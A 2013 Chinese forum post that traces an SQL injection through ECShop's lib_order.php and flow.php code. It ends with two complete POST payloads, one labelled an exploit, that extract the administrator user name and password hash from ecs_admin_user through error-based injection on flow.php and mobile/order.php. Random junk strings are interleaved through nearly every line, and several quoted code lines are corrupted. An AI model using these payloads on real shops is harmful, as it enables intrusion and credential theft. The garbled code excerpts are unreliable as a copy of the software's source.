找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
" Z0 M/ [% k; `1 y# }
: a# ^) \1 [5 w    漏洞关键文件:
. D3 ^. ^/ T+ J$ E! s# n) l
% A/ m) }  {  {    /includes/lib_order.php
. s4 h/ n6 b3 R. }* E' q4 u' R, U' X% V
    关键函数:
9 m0 x: |3 ]! K/ Y8 w
/ O4 A) j5 p  R/ v- U4 t - T! T( U5 f, j9 k( A! z7 Y

& M0 A( V! P3 a+ c; O( d01     function available_shipping_list($region_id_list)
! w& \8 N) w7 H9 Y' d
0 ~; b# \4 O2 g8 T1 _7 r* Q" T( |  S02 {
* {3 @- x$ `, h4 H' @; w. \$ }. J7 b9 M8 |
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 5 K  A/ q  j8 _4 h. ?( R
/ e$ g: F9 Q' {- H( o
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + e$ s- \+ t6 Y6 q/ |/ m
( q/ k5 N! _% y( i1 r9 ~6 k( F
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
/ S) `; G7 H5 w5 v
, j: G- {1 ]" i$ T% V* I# ?06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% r, T: [. M% k# I  P* y/ N, A6 N- N; F
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ' f( M' P; H; N4 o% i0 K( Q
4 L8 G0 b3 M7 |- o6 c) F
08             'WHERE r.region_id ' . db_create_in($region_id_list) . % G' R; g8 I# H+ f. p( d2 _+ h
8 a" S3 M8 X/ f& u
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
1 ^' f" q0 w7 F: x/ ?; I* S  k9 j
, X7 J2 W1 f* u- W* ~. y6 v$ K10   # a- ~! `% s# L8 s9 w4 q
- Q2 F0 L$ [- y# H! m
11     return $GLOBALS['db']->getAll($sql); + L$ Q0 K) p6 @& p1 F+ C( r1 _% ?

# L* g$ f8 o" o8 ~$ `% T8 I0 j12 } & [* {, p1 k/ g: s9 C7 X& L

- ^. O& \; }$ ^9 D" L显然对传入的参数没有任何过滤就带入了查询语句。  i. y1 j* _1 m1 _
$ `- A, ~7 b- B  q5 b' J0 p* n
下面我们追踪这个函数在flow.php中:5 M8 k- ]1 c( f6 z1 _1 O
第531行:   
9 T- l1 l7 n3 g% \5 Y3 f6 r! U( z! [# ]' I& L5 Y
1 $shipping_list     = available_shipping_list($region);
$ K4 t" J) m- N/ a: r! s5 v: ]% F* L! g- D: g
1 W3 M* R  A4 _( [" u3 O
6 y1 X+ i, f9 s, d* _3 Q( [

8 g$ H: j, l0 H2 R! B# b
! p/ v9 ]8 D) \. @2 B9 E再对传入变量进行追踪:! i3 a$ U0 E$ i1 e; v' ~' m
9 ~7 S$ m5 @& F
第530行:   
0 R* p+ U3 u, i  w$ C
/ R8 s% i" O5 g6 r1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
+ E5 u) o$ {5 Y- `6 g0 o7 Z* V& f6 x2 ]+ w

5 n' Z0 y- V0 ^/ O6 r/ T
# j1 M  u( {3 e) I/ m9 F # ?: X/ g; D6 @

8 i. j& ^% h9 q% e) R第473行:        - k  z1 n$ D  s  V/ ~6 M
# u( n6 N6 m4 E' }0 O8 u
1 $consignee = get_consignee($_SESSION['user_id']); 1 @& v8 V. l* i# O9 B# x) F
) K! R1 e) Z1 H2 f! L$ F& U
到了一个关键函数:
5 ^1 d+ Q4 c/ S! h& R  |1 X- D* K+ g4 \* T+ j' B9 P
/includes/lib_order.php  J8 v) `) |7 k
; S' n' ?$ F9 i7 x5 w
2 z) N& Q; R& A' Q5 Z& w' @6 h3 G

; Z) T% j' H0 V2 w0 F
5 \$ R- C" \' l2 t; N- |
; p( B7 ^: }8 s' W/ j  b01 function get_consignee($user_id) ' m5 R6 J4 m: M

8 [' o* v/ ]* \/ |  ]1 ^5 m, D( g02 { & e- G$ G0 g# v/ M" J' h

' F  }: u/ u+ }- j8 J+ g03     if (isset($_SESSION['flow_consignee'])) 0 \9 E# w- @+ }5 x9 B
6 e4 s! G% v* j- A% I& c7 |6 h6 C! u
04     { 9 x5 F( F8 [" u' L' P; V8 m
5 }0 S8 r$ d0 a
05         /* 如果存在session,则直接返回session中的收货人信息 */
: z. r. U+ a3 y# A: P; |. G8 ]8 y* R) t: Z/ ^8 |* @" M
06   " C9 V2 r0 ]* D3 h

4 `: [' l  x4 c$ w$ S9 g1 _7 i07         return $_SESSION['flow_consignee'];
) c; @$ N- ]8 Y8 j& z. ~
4 k4 A0 a* {7 V) ~08     }
) C/ T+ s, E* A+ b- q, E; I4 A
$ `# T3 ]9 }+ j) D# z* U3 v$ O7 I09     else
8 u5 [" F* q2 P9 y: J. D
2 d' ~" v0 t7 w, K3 r* l: g- J+ R( X( e10     {
+ L5 K( w/ w( H  Z$ j7 }
3 {  s; V9 a8 e3 Y  D0 B  o11         /* 如果不存在,则取得用户的默认收货人信息 */   _" `* p; @; `; J- g0 J

/ q, a% u6 o- y* P' T) a12         $arr = array(); , m: r6 Z. D$ Y
9 a: V0 V, x3 d- S
13   0 v0 |3 t' L$ @
  }! j: q2 g3 W8 }: m1 m
14         if ($user_id > 0)
% ]- P' J" D1 P" j% [# o- x
( {$ e* t! x% [- l; ]15         { 0 ]1 Q! G4 o. J5 E% z
& q- c% x, ]8 d" c$ W
16             /* 取默认地址 */ 2 g( j/ U' b$ C3 ]

3 g! b) F9 B: F$ U* k17             $sql = "SELECT ua.*".
6 q* `) k7 b8 W7 J& S
  @- S, m' @% w0 c* @18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 U$ q% D0 n% T

, ]0 u. S: J$ @% z6 Q+ e' r) Q19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
% I' l/ ?* g  o; b, ?
8 ]8 V) A- M( X: }4 b20   1 H0 S' C, X6 O- P

! y, O: [0 M" \/ T9 w21             $arr = $GLOBALS['db']->getRow($sql);
8 K8 _) [- G5 S9 y1 O1 S: }8 H# h
; c2 u# c8 `9 h6 W$ G+ T$ m- p4 N22         }
  U) d7 N, f2 _8 O5 s. `  _; F, x* |$ N8 r$ t8 l0 G% ]$ y
23   
3 v. z# T; r- W% G/ U' j* R" ^5 u0 t* D& x0 P2 D" N, }3 ^1 L% I( b
24         return $arr; ' q. t" B: M9 s5 S: P/ E- g# i
2 {0 M2 L3 h6 ^) n
25     } , m; I4 w8 X2 d3 Y. s9 x5 \
' C; ~  {5 ]* w% t
26 }
9 s! r' P" W+ a/ Y# I
) n) U& S( K2 B. z7 \显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
% X1 ]! T% q$ Z; k: C' g9 ^6 `/ z# z6 p+ W% c( i  i3 b8 l
# E) ~8 F+ c/ m* \, ]2 y
- ^- g2 T3 o: T" D; x( f# v5 s, V
关键点:/ y/ A+ [4 X, R# @+ T. j( b. a+ k
# w$ |; S" e% ~. v
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);( x) s, |* @; n# z; Z- |2 u

) Z5 }# P% O; ~$ ?9 L9 r1 b8 D7 P这里对传入参数反转义存入$_SESSION中。; [, Z: g/ A+ c4 y
& ]2 k' E* N3 w' l5 d  Y8 y' q9 m

# _8 `3 q( z$ W* @) ^; @6 P  p: W4 ?# A- H% I& X/ c8 J% G% J
然后看下:; d; E2 Y7 z$ o- l- J" w6 J5 K" r  _
  a2 Y3 U! e; V

$ z7 O1 x5 ]* ^
# p0 B4 {* L  l$ D) m4 f1 ^0 x% [    . r, w& x3 j1 o0 l; p

6 X0 v: L; H, R2 a: T7 B1 i# ~$ z01 $consignee = array( $ p0 F7 A2 [, h3 P$ t/ [6 M

& o0 K+ s9 O+ u' |5 ^7 m6 k" {02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), $ s6 o; y' S* H! v; n

; V7 \& b" ~5 t. _! L1 v03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 2 d5 k4 Y$ n" K7 r" x

/ p7 k0 V. H3 k/ m: [04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 F: W  }; H( J6 y2 N% w& M; \5 m4 L, F: F3 s& W/ W0 F1 h
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 2 R5 \$ \& T7 S# H5 w

" G: f& \: `1 r- D" N  u1 \06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
5 U( e  T3 k- @* p9 ~
. [- d6 U: S# b07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
/ }$ Y. ~( q" ?  t
" R' C' [% Y7 A$ f. [08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
: b" _% M0 D1 y8 i4 r: p* x& g( n$ b: k: e4 ]4 R4 W& a
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
% |0 g' u$ S* f5 i+ ~% a# W
% o5 o4 n# p! J2 r10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
; E3 y: |# b7 F4 f" Q2 K" a- E! p1 j' m9 a! U0 ]- a8 G. e% @
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
: H/ ^( _+ R0 U* g. X* L3 H& E9 ]6 R/ t* R+ W9 J0 M. Y- N% b2 N
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 7 _* G6 U. \& `7 z! |: Z4 |

& B2 m) b5 D9 K% i/ h+ p: M* y. r# k13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], " J# v/ H0 H; v! H2 z- a2 w# e
0 u" _* i0 f8 ^! y9 `5 \
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], . r; G+ Z' Z  U: p# n/ G

8 F7 a6 P3 V- Z" ?7 e15     );
+ A; v8 A+ O1 t; A  K( z8 N7 Y" B& h' R; X5 d
好了注入就这样出现了。% J7 l, @- }4 Z) O$ X
# G# q5 I4 W, A' k' F( @
==================& b) E, q4 B8 D! C0 w0 h
1 |- J  z% [2 `4 W/ S
注入测试:
; I6 W" H3 s* r8 X* ], R+ i$ Y7 W/ K3 m! ^
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)5 k# G7 S4 ]& i! J$ z- s

' d. l; a5 Y+ ]; N' Y; a测试程序:ECShop_V2.7.3_UTF8_release1106
4 `9 m* V7 R4 T9 t2 J! B9 g$ D0 P( j+ I5 v
- K! e: z8 C4 S, v% u& h; J2 c

7 |; g! }0 m) X5 b- D5 r$ K& l1.首先需要点击一个商品加入购物车
) [+ C/ |& M& K/ v) Z; t: i. N: E+ V3 v9 L
2.注册一个会员帐号; r6 t" A' c- a' C5 G5 }. u
' `7 E& e9 |$ R
3.post提交数据
  p& W5 l( m) h9 d# a) e
5 L/ v  b0 n, u* ]5 \, ?$ b) A   t5 w9 w+ i9 Z! m

0 P' b' |  B- m- }9 n! `1 http://127.0.0.1/ecshop/flow.php % p: v+ v" @+ A5 \- n, ?
  v0 v  n4 M& _. F2 k6 V
2   ! T& B( Q; M3 i/ q6 y, \
2 V3 {+ ^6 X: n" e
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
1 {& T& E. a* n8 p2 x举一反三,我们根据这个漏洞我们可以继续深入挖掘:7 B5 Z- R/ p) u5 O8 b* _

' d( Z. J; S: ?我们搜寻关键函数function available_shipping_list()
+ k+ }! c( G# s) R) A2 P8 G- G% H. m* s/ e' @& y
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
6 K( }; J" D7 X  S
/ n: F% n; [9 }+ g利用exp:
6 f; p- c1 Q5 c+ D8 D( V7 D& U
& r. T+ ^' v, R; O1.点击一个商品,点击购买商标
& i- q! z: D" E8 o  Q. k8 S- ~, u0 {1 ]6 X6 _4 m2 n5 [
2.登录会员帐号
/ z% f7 N* n* z/ D$ p% O7 B' t' s" A  P+ Q$ ^
3.post提交:  B6 u+ _5 Y1 Z4 ~* r9 f
! _4 S: N1 M; Q" R" {" V0 K! R; p7 {
http://127.0.0.1/ecshop/mobile/order.php  z0 [+ R; a9 a' b8 b- G/ w

  c% Z' x/ B" a, M ) w3 v3 x- }: h1 w
: Q. D. {% a3 B" Z
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=' N1 K4 {; r! f3 u
% D+ H4 \2 A8 ?) c' G1 G0 }7 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表